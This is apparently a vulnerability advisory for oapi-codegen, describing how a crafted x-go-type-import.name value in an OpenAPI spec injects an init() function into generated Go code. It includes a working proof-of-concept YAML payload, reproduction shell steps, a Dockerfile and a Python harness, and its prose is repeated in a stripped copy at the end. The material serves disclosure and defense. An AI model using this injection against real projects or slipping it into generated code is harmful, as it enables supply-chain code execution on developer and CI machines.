OpenAPI x-go-type-import Generated Go Code Injection
Summary
oapi-codegen copies the x-go-type-import.name field from an OpenAPI specification directly into generated Go import statements without any validation. An attacker who can supply a malicious OpenAPI document can inject arbitrary Go code into the generated source file. The injected code executes automatically at package initialization time whenever a victim developer, CI pipeline, or downstream tool compiles or runs the generated package, resulting in full arbitrary code execution on the victim's machine.
Details
The vulnerability exists in the following data flow:
-
Source β cmd/oapi-codegen/oapi-codegen.go:321: The CLI accepts an OpenAPI document path or URL as input with no trust requirement.
-
Loader β pkg/util/loader.go:23-28: The document is loaded via LoadFromURI / LoadFromFile and its contents are fully trusted.
-
Missing validation β pkg/codegen/validate_spec.go:155-186: ValidateSpec / checkExtensions validates x-go-name, x-go-type-name, x-go-type, and x-oapi-codegen-extra-tags, but does not validate x-go-type-import at all.
-
Unsanitized copy β pkg/codegen/utils.go:1161 and 1167 (ParseGoImportExtension): The attacker-controlled string values are assigned directly to gi.Name and gi.Path without any character or structure validation:
// pkg/codegen/utils.go
if strings.EqualFold(k, "name") {
if vs, ok := v.(string); ok {
gi.Name = vs // line 1161 β no validation
...
} else if strings.EqualFold(k, "path") {
if vs, ok := v.(string); ok {
gi.Path = vs // line 1167 β no validation
-
Unquoted format β pkg/codegen/codegen.go:85-89 (goImport.String()): gi.Name is formatted with %s (unquoted), so embedded newlines and arbitrary Go tokens pass through verbatim:
func (gi goImport) String() string {
if gi.Name != "" {
return fmt.Sprintf("%s %q", gi.Name, gi.Path)
}
-
Unescaped template sink β pkg/codegen/templates/imports.tmpl:36-37: The formatted import string is emitted directly into the generated Go source file with no escaping:
{{- range .ExternalImports}}
{{ . }}
{{- end}}
-
Output written regardless of format errors β cmd/oapi-codegen/oapi-codegen.go:332-347: Even when goimports fails to reformat the injected output, the raw generated code is still written to stdout and captured by the caller.
By embedding newlines in x-go-type-import.name, an attacker can close the import ( block early, inject a package-level init() function containing arbitrary Go code, and then reopen a dummy var ( block so that the surrounding generated tokens remain syntactically valid. The resulting file is accepted by the Go compiler without warnings.
PoC
Prerequisites: oapi-codegen built from commit 1ffa4b970959ef6f31f78ae210875b4c3389a96c, Go 1.23+.
tmp=$(mktemp -d)
marker="$tmp/oapi-codegen-pwned"
cat > "$tmp/poc.yaml" <<YAML
openapi: 3.0.3
info:
title: import injection poc
version: 1.0.0
paths:
/pwn:
get:
operationId: getPwn
responses:
'200':
description: ok
content:
application/json:
schema:
\$ref: '#/components/schemas/Pwn'
components:
schemas:
Pwn:
type: string
x-go-type: os.FileInfo
x-go-type-import:
name: |-
_ "unsafe"
)
func init() { _ = os.WriteFile("$marker", []byte("pwned"), 0644) }
var (
_ =
path: ignored
YAML
# Step 1 β Generate Go source (the injection lands in the import block)
go run ./cmd/oapi-codegen "$tmp/poc.yaml" > "$tmp/poc.gen.go"
# Step 2 β Create a minimal module that imports the generated package
mkdir -p "$tmp/repro"
cp "$tmp/poc.gen.go" "$tmp/repro/poc.go"
cat > "$tmp/repro/go.mod" <<'MOD'
module repro
go 1.23
require (
github.com/getkin/kin-openapi v0.142.0
github.com/labstack/echo/v4 v4.11.4
github.com/oapi-codegen/runtime v1.1.2
github.com/oapi-codegen/nullable v1.0.0
go.yaml.in/yaml/v3 v3.0.4
)
MOD
cat > "$tmp/repro/poc_test.go" <<'TEST'
package poc
import "testing"
func TestInitRuns(t *testing.T) {}
TEST
# Step 3 β Build/run triggers init(); marker file is created
(cd "$tmp/repro" && go test ./...)
# Expected: prints "pwned"
cat "$marker"
Expected result: cat "$marker" prints pwned, confirming that the injected init() function executed at package initialization time. This was verified dynamically: the container created /tmp/oapi-pwned containing PWNED: x-go-type-import code injection confirmed, and func init() was confirmed present in the generated source.
Docker-based reproduction (as used in Phase 2 dynamic verification):
# From the repository root (parent of vuln-001/)
docker build -t vuln-001-oapi-codegen-injection -f vuln-001/Dockerfile .
docker run --rm vuln-001-oapi-codegen-injection
Impact
This is a code injection vulnerability (CWE-94). Any developer or automated system (CI/CD pipeline, IDE plugin, build tool) that runs oapi-codegen against a third-party or attacker-supplied OpenAPI specification is at risk. The injected init() function executes with the full privileges of the process that compiles or tests the generated package β no interaction beyond go build / go test is required.
Concrete attack scenarios include:
- Supply-chain attack: A malicious OpenAPI specification published on a public registry or embedded in a library causes RCE on any developer machine or CI runner that regenerates client/server code.
- Repository poisoning: An attacker with write access to a specification file in a repository triggers RCE for all contributors who run the code-generation step.
- Malicious SDK distribution: A threat actor distributes a crafted OpenAPI spec alongside documentation or tooling, targeting developers who follow the standard
oapi-codegen workflow.
All three pillars of confidentiality, integrity, and availability are impacted: the injected code can exfiltrate secrets, corrupt build artifacts, or crash the build environment. The attack requires no authentication, no elevated privileges, and no non-default configuration.
Reproduction artifacts
Dockerfile
FROM golang:1.25-bookworm
# ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
# Stage 1 β Build oapi-codegen from the cloned source repo
# ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
WORKDIR /src
COPY repo/ /src/
RUN go build -o /usr/local/bin/oapi-codegen ./cmd/oapi-codegen/
# ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
# Stage 2 β Pre-download Go module dependencies that generated code may need.
#
# goimports should eliminate unused external imports in the clean-injection
# case, leaving only stdlib. But we pre-fetch the runtime packages in case
# goimports cannot reformat the code and the raw template output is used.
# ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
WORKDIR /tmp/predl
RUN printf 'module predl\ngo 1.23.0\nrequire (\n\tgithub.com/oapi-codegen/runtime v1.5.0\n\tgithub.com/oapi-codegen/nullable v1.1.0\n\tgithub.com/getkin/kin-openapi v0.142.0\n\tgo.yaml.in/yaml/v3 v3.0.4\n)\n' > go.mod && \
printf 'package predl\nimport (_ "github.com/oapi-codegen/runtime"\n_ "github.com/getkin/kin-openapi/openapi3")\n' > dummy.go && \
go mod tidy && \
go mod download
# ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
# Attack workspace
# ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
WORKDIR /attack
COPY vuln-001/run.sh /attack/run.sh
RUN chmod +x /attack/run.sh
CMD ["/attack/run.sh"]
poc.py
#!/usr/bin/env python3
"""
PoC for VULN-001: OpenAPI x-go-type-import Generated Go Code Injection
CWE-94 β Improper Control of Generation of Code
CVSS 3.1: 7.8 High (AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H)
Vulnerability: oapi-codegen copies x-go-type-import.name into generated Go
source without sanitization. A malicious OpenAPI spec can inject arbitrary Go
code that executes when the generated package is compiled/initialized.
Attack chain:
malicious spec --> oapi-codegen --> injected init() in generated .go
--> go test/build --> arbitrary code runs at package init
Usage:
python3 poc.py
Expected result (PASS): The container creates /tmp/oapi-pwned containing
"PWNED: x-go-type-import code injection confirmed"
proving that the injected init() function executed.
"""
import json
import os
import subprocess
import sys
# ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
# Paths
# ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__))
# Docker build context: the parent directory that contains both repo/ and
# vuln-001/ so that the Dockerfile can COPY both trees.
CONTEXT_DIR = os.path.dirname(SCRIPT_DIR)
IMAGE_NAME = "vuln-001-oapi-codegen-injection"
RESULT_PATH = os.path.join(SCRIPT_DIR, "phase2_result.json")
BUILD_CMD = f"docker build -t {IMAGE_NAME} -f vuln-001/Dockerfile ."
RUN_CMD = f"docker run --rm {IMAGE_NAME}"
POC_CMD = "python3 poc.py"
def run(argv, **kwargs):
"""Run a subprocess, streaming output, and return CompletedProcess."""
print(f"[cmd] {' '.join(argv)}")
result = subprocess.run(argv, capture_output=True, text=True, **kwargs)
return result
def write_result(passed, verdict, reason, evidence, build_cmd=BUILD_CMD,
run_cmd=RUN_CMD, poc_cmd=POC_CMD):
data = {
"passed": passed,
"verdict": verdict,
"reason": reason,
"build_command": build_cmd,
"run_command": run_cmd,
"poc_command": poc_cmd,
"evidence": evidence,
"artifacts": ["Dockerfile", "poc.py"],
}
with open(RESULT_PATH, "w", encoding="utf-8") as fh:
json.dump(data, fh, ensure_ascii=False, indent=2)
print(f"[*] Result written to {RESULT_PATH}")
return data
def main():
# ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
# Step 1 β Build Docker image.
# ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
print("\n[*] Building Docker image (this downloads Go deps; may take a few minutes)...")
build_result = run(
["docker", "build", "-t", IMAGE_NAME, "-f", "vuln-001/Dockerfile", "."],
cwd=CONTEXT_DIR,
)
if build_result.returncode != 0:
msg = build_result.stderr[-2000:] if build_result.stderr else "(no stderr)"
print(f"[-] Docker build failed:\n{msg}")
write_result(
passed=False,
verdict="INCOMPLETE",
reason=f"Docker μ΄λ―Έμ§ λΉλ μ€ν¨. λΉλ μ€λ₯: {msg[:300]}",
evidence=msg[:500],
)
return 1
print("[+] Docker image built successfully.")
# ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
# Step 2 β Run the container, which executes run.sh.
# ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
print("\n[*] Running PoC container...")
run_result = run(
["docker", "run", "--rm", IMAGE_NAME],
cwd=CONTEXT_DIR,
)
combined = run_result.stdout + "\n" + run_result.stderr
print("\nββββ Container output βββββββββββββββββββββββββββββββββββββββββ")
print(combined[:8000])
print("βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ")
# ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
# Step 3 β Evaluate evidence.
#
# PASS criteria (all must hold):
# (a) "func init()" appears in the generated Go source.
# (b) The marker file /tmp/oapi-pwned was created (evidenced by the
# "INJECTION PROOF" banner and the "PWNED:" string).
# (c) Container exited 0.
# ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
has_init_injection = "func init()" in combined
has_marker_proof = "INJECTION PROOF" in combined and "PWNED:" in combined
container_ok = run_result.returncode == 0
if has_init_injection and has_marker_proof and container_ok:
# Extract the most relevant evidence snippet.
lines = combined.splitlines()
evidence_lines = [
l for l in lines
if any(k in l for k in [
"func init()", "INJECTION PROOF", "PWNED:", "EXPLOIT CONFIRMED",
"Marker file", "Content:",
])
]
evidence = "\n".join(evidence_lines[:20])
print("\n[+] EXPLOIT CONFIRMED")
result = write_result(
passed=True,
verdict="PASS",
reason=(
"x-go-type-import.name νλμ μ½μ
λ λ€μ€ λΌμΈ νμ΄λ‘λκ° oapi-codegenμ "
"무κ²μ¦ 볡μ¬(utils.go:1161)λ₯Ό ν΅ν΄ imports.tmpl:37μ {{ . }}μ μ§μ μ½μ
λμ΄, "
"μν¬νΈ λΈλ‘μ μ‘°κΈ°μ λ«κ³ ν¨ν€μ§ μμ€μ init() ν¨μλ₯Ό μ£Όμ
νλ λ° μ±κ³΅νλ€. "
"μμ±λ ν¨ν€μ§λ₯Ό go testλ‘ μ΄κΈ°ννμ init()κ° μ€νλμ΄ λ§μ»€ νμΌ "
"/tmp/oapi-pwned κ° μμ±λ¨μΌλ‘μ¨ μμ μ½λ μ€νμ΄ λμ μΌλ‘ νμΈλμλ€."
),
evidence=evidence,
)
print(json.dumps(result, ensure_ascii=False, indent=2))
return 0
# ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
# Partial or total failure
# ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
if has_init_injection and not has_marker_proof:
verdict = "INCOMPLETE"
reason = (
"μμ±λ Go μμ€μ init() μ£Όμ
μ νμΈλμΌλ λ§μ»€ νμΌμ΄ μμ±λμ§ μμλ€. "
"go test μ»΄νμΌ μ€ν¨ κ°λ₯μ± μμ. μμ±λ μ½λμ μΈλΆ μμ‘΄μ± νμΈ νμ. "
"run.shμ Attempt B(μΈλΆ ν¨ν€μ§ ν¬ν¨ go.mod) λ‘κ·Έλ₯Ό μ κ²νκ±°λ, "
"μΈν°λ· μ κ·Όμ΄ κ°λ₯ν νκ²½μμ μ¬μλ κΆμ₯."
)
else:
verdict = "FAIL"
reason = (
"μμ±λ Go μμ€μ init() μ£Όμ
μ΄ νμΈλμ§ μμλ€. "
"μ€api-codegenμ΄ x-go-type-import.nameμ λ€λ₯΄κ² μ²λ¦¬νκ±°λ, "
"YAML νμ± λ¨κ³μμ νμ΄λ‘λκ° λ³νλμμ κ°λ₯μ±μ΄ μλ€. "
"poc.yamlμ λ€μ¬μ°κΈ° λ° λΈλ‘ μ€μΉΌλΌ λ¬Έλ²μ μ¬κ²ν νκ³ , "
"컨ν
μ΄λ λ‘κ·Έμμ oapi-codegen stderrλ₯Ό νμΈν κ²."
)
evidence = combined[-2000:]
result = write_result(
passed=False,
verdict=verdict,
reason=reason,
evidence=evidence,
)
print(json.dumps(result, ensure_ascii=False, indent=2))
return 1
if __name__ == "__main__":
sys.exit(main())
OpenAPI
x-go-type-importGenerated Go Code InjectionSummary
oapi-codegencopies thex-go-type-import.namefield from an OpenAPI specification directly into generated Go import statements without any validation. An attacker who can supply a malicious OpenAPI document can inject arbitrary Go code into the generated source file. The injected code executes automatically at package initialization time whenever a victim developer, CI pipeline, or downstream tool compiles or runs the generated package, resulting in full arbitrary code execution on the victim's machine.Details
The vulnerability exists in the following data flow:
Source β
cmd/oapi-codegen/oapi-codegen.go:321: The CLI accepts an OpenAPI document path or URL as input with no trust requirement.Loader β
pkg/util/loader.go:23-28: The document is loaded viaLoadFromURI/LoadFromFileand its contents are fully trusted.Missing validation β
pkg/codegen/validate_spec.go:155-186:ValidateSpec/checkExtensionsvalidatesx-go-name,x-go-type-name,x-go-type, andx-oapi-codegen-extra-tags, but does not validatex-go-type-importat all.Unsanitized copy β
pkg/codegen/utils.go:1161and1167(ParseGoImportExtension): The attacker-controlled string values are assigned directly togi.Nameandgi.Pathwithout any character or structure validation:Unquoted format β
pkg/codegen/codegen.go:85-89(goImport.String()):gi.Nameis formatted with%s(unquoted), so embedded newlines and arbitrary Go tokens pass through verbatim:Unescaped template sink β
pkg/codegen/templates/imports.tmpl:36-37: The formatted import string is emitted directly into the generated Go source file with no escaping:Output written regardless of format errors β
cmd/oapi-codegen/oapi-codegen.go:332-347: Even whengoimportsfails to reformat the injected output, the raw generated code is still written to stdout and captured by the caller.By embedding newlines in
x-go-type-import.name, an attacker can close theimport (block early, inject a package-levelinit()function containing arbitrary Go code, and then reopen a dummyvar (block so that the surrounding generated tokens remain syntactically valid. The resulting file is accepted by the Go compiler without warnings.PoC
Prerequisites:
oapi-codegenbuilt from commit1ffa4b970959ef6f31f78ae210875b4c3389a96c, Go 1.23+.Expected result:
cat "$marker"printspwned, confirming that the injectedinit()function executed at package initialization time. This was verified dynamically: the container created/tmp/oapi-pwnedcontainingPWNED: x-go-type-import code injection confirmed, andfunc init()was confirmed present in the generated source.Docker-based reproduction (as used in Phase 2 dynamic verification):
Impact
This is a code injection vulnerability (CWE-94). Any developer or automated system (CI/CD pipeline, IDE plugin, build tool) that runs
oapi-codegenagainst a third-party or attacker-supplied OpenAPI specification is at risk. The injectedinit()function executes with the full privileges of the process that compiles or tests the generated package β no interaction beyondgo build/go testis required.Concrete attack scenarios include:
oapi-codegenworkflow.All three pillars of confidentiality, integrity, and availability are impacted: the injected code can exfiltrate secrets, corrupt build artifacts, or crash the build environment. The attack requires no authentication, no elevated privileges, and no non-default configuration.
Reproduction artifacts
Dockerfilepoc.py